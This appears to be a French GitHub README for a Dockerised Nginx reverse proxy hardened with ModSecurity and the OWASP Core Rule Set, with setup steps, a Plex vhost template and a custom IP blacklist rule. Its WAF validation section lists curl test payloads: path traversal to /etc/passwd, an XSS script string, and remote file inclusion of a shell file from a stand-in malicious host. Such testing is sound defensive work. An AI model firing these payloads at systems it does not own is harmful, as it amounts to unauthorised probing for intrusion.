Ce projet fournit une infrastructure Reverse Proxy Nginx durcie, intégrant ModSecurity v3 et le jeu de règles OWASP Core Rule Set (CRS).
Il est conçu pour protéger les services backend (Plex, API, Sites Web) contre le TOP 10 OWASP et les scans automatisés (SQLi, XSS, LFI, RFI, Shellshock, etc.). L'environnement est containérisé via Docker.
- Introduction
- Architecture du Projet
- Installation & Lancement du Projet
- Ajouter un nouveau Domaine (Vhost)
- Validation & Tests d'Intrusion/Audit (WAF)
- Architecture & Fonctionnement du WAF
- Création de Règles Custom (Virtual Patching)
- Star History
- Documentation Officielle
.
├── config/
│ ├── custom/
│ │ ├── html/
│ │ │ └── error-pages/
│ │ │ ├── 401.html
│ │ │ ├── 404.html
│ │ │ └── 50x.html
│ │ └── snippets/
│ │ └── error-pages.conf
│ ├── modsec/
│ │ └── modsecurity.conf
│ ├── nginx/
│ │ └── conf.d/
│ │ ├── 00-geoip.conf
│ │ ├── 01-log_enriched.conf
│ │ └── 02-default.conf
│ ├── nginx.conf
│ └── owasp-crs/
│ ├── crs-setup.conf
│ └── rules
├── docker-compose.yml
├── Dockerfile
├── .dockerignore
├── entrypoint.sh
├── logs/
│ ├── access.log
│ └── error.log
├── Makefile
├── README.md
└── setup.sh
Ce projet utilise un Makefile pour standardiser le déploiement. Il prépare l'environnement (structure des dossiers, permissions) avant que Docker ne prenne le relais.
Positionnez-vous dans votre dossier de travail habituel :
git clone https://github.com/1posix/nginx-waf-docker.git
cd nginx-waf-dockerLancez la commande d'installation. Elle va exécuter le script de setup, créer les répertoires manquants (logs, conf.d, etc.) et fixer les permissions nécessaires pour que le conteneur puisse écrire ses logs
make installLancez simplement le fichier YAML pour démarrer le WAF
docker-compose up -dPour déclarer un nouveau service protégé, créez un fichier .conf dans le dossier config/nginx/conf.d/ (par exemple config/nginx/conf.d/site.conf).
Voici un modèle de production basé sur une configuration Plex. Il inclut la gestion des websockets, l'interception des erreurs backend, le GeoIP et le WAF.
# 1. Définition du Backend (Keepalive & Failover)
upstream backend_plex {
server 10.0.50.10:32400 max_fails=3 fail_timeout=30s;
keepalive 32;
}
server {
listen 4443;
listen [::]:4443;
server_name plex.site.com;
# 2. Logs Enrichis pour le WAF
access_log /var/log/nginx/plex-access.log waf_enriched;
error_log /var/log/nginx/plex-error.log warn;
# 3. Activation de ModSecurity
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/modsecurity.conf;
# 4. Masquage des erreurs du Backend
include /etc/nginx/snippets/error-pages.conf;
# 5. Sécurité & Limites
limit_req zone=general burst=50 nodelay;
limit_conn addr 20;
client_max_body_size 100M;
# Timeouts étendus pour le streaming
proxy_connect_timeout 60s;
proxy_send_timeout 300s;
proxy_read_timeout 300s;
# 6. Gestion Real-IP (Derrière un autre proxy/LB)
# Adaptez l'IP source selon votre infra (Gateway, Cloudflare, etc.)
set_real_ip_from 172.16.100.1;
real_ip_header X-Forwarded-For;
real_ip_recursive on;
location / {
proxy_pass http://backend_plex;
proxy_set_header Host $ host;
proxy_set_header X-Real-IP $ remote_addr;
proxy_set_header X-Forwarded-For $ proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $ scheme;
# Support Websockets (Vital pour Plex)
proxy_http_version 1.1;
proxy_set_header Upgrade $ http_upgrade;
proxy_set_header Connection $ http_connection;
proxy_buffering off;
# Blocage GeoIP (configuré dans config/nginx/conf.d/00-geoip.conf)
if ($block_country) {
return 403;
}
}
# Protection des fichiers cachés
location ~ /\. {
deny all;
access_log off;
}
}Cette configuration constitue un exemple de base ; vous pouvez adopter une approche totalement différente selon la situation et vos besoins.
Une fois le conteneur lancé, il est impératif de valider que le moteur ModSecurity intercepte bien les payloads malveillants. Utilisez curl depuis une machine externe ou le shell de l'hôte.
Lancez ces commandes en remplaçant TARGET par votre IP ou Domaine.
Tentative d'accès aux fichiers système (/etc/passwd).
curl -I "https://TARGET/index.php?file=../../../../etc/passwd"Réponse attendu : HTTP/1.1 403 Forbidden
Tentative de détection des réponses XSS.
curl -i "https://TARGET/search?q=<script>alert('XSS')</script>"Réponse attendu : HTTP/1.1 403 Forbidden
Tentative d'inclusion d'un fichier distant malveillant sur le serveur cible.
curl -i "https://TARGET/index.php?page=http://malicious.com/shell.txt"Réponse attendu : HTTP/1.1 403 Forbidden
Le WAF n'est pas une "boite noire". C'est un assemblage de couches (Layers) où chaque composant a un rôle précis dans le filtrage HTTP (Layer 7).
Cette règle permet de bloquer des adresses IP individuelles ou des sous-réseaux entiers de manière permanente. Elle s'exécute en phase 1 (avant tout traitement de la requête) pour garantir une performance optimale. Vous êtes libre de créer vos propres règles personnalisées pour gérer votre infrastructure.
Emplacement : config/owasp-crs/rules/9100-custom-blacklist.conf
# ============================================
# BLACKLIST IP PERSONNALISÉE
# ID: 9100
# ============================================
# --- BLACKLIST MANUELLE ---
# Bloque les IPs individuelles : 203.0.113.42 (attaquant connu)
# Bloque le sous-réseau : 192.0.2.0/24 (De 192.0.2.0 à 192.0.2.255) - Datacenter suspect
# Bloque le sous-réseau : 185.220.101.0/24 (Nœuds TOR exit connus)
SecRule REMOTE_ADDR "@ipMatch 203.0.113.42,192.0.2.0/24,185.220.101.0/24" \
"id:9100,\
phase:1,\
deny,\
status:403,\
log,\
msg:'ACCES REFUSE : IP blacklistee manuellement - Activite malveillante detectee',\
logdata:'IP bloquee: %{REMOTE_ADDR} | User-Agent: %{REQUEST_HEADERS.User-Agent}',\
severity:'CRITICAL',\
tag:'CUSTOM/BLACKLIST/MANUAL',\
tag:'SECURITY/IP-BLOCK',\
setvar:'tx.anomaly_score=+5',\
setvar:'ip.blocked=1'"Si ce projet vous aide à sécuriser votre infra, merci de laisser une étoile ⭐. C'est le seul carburant de l'Open Source.
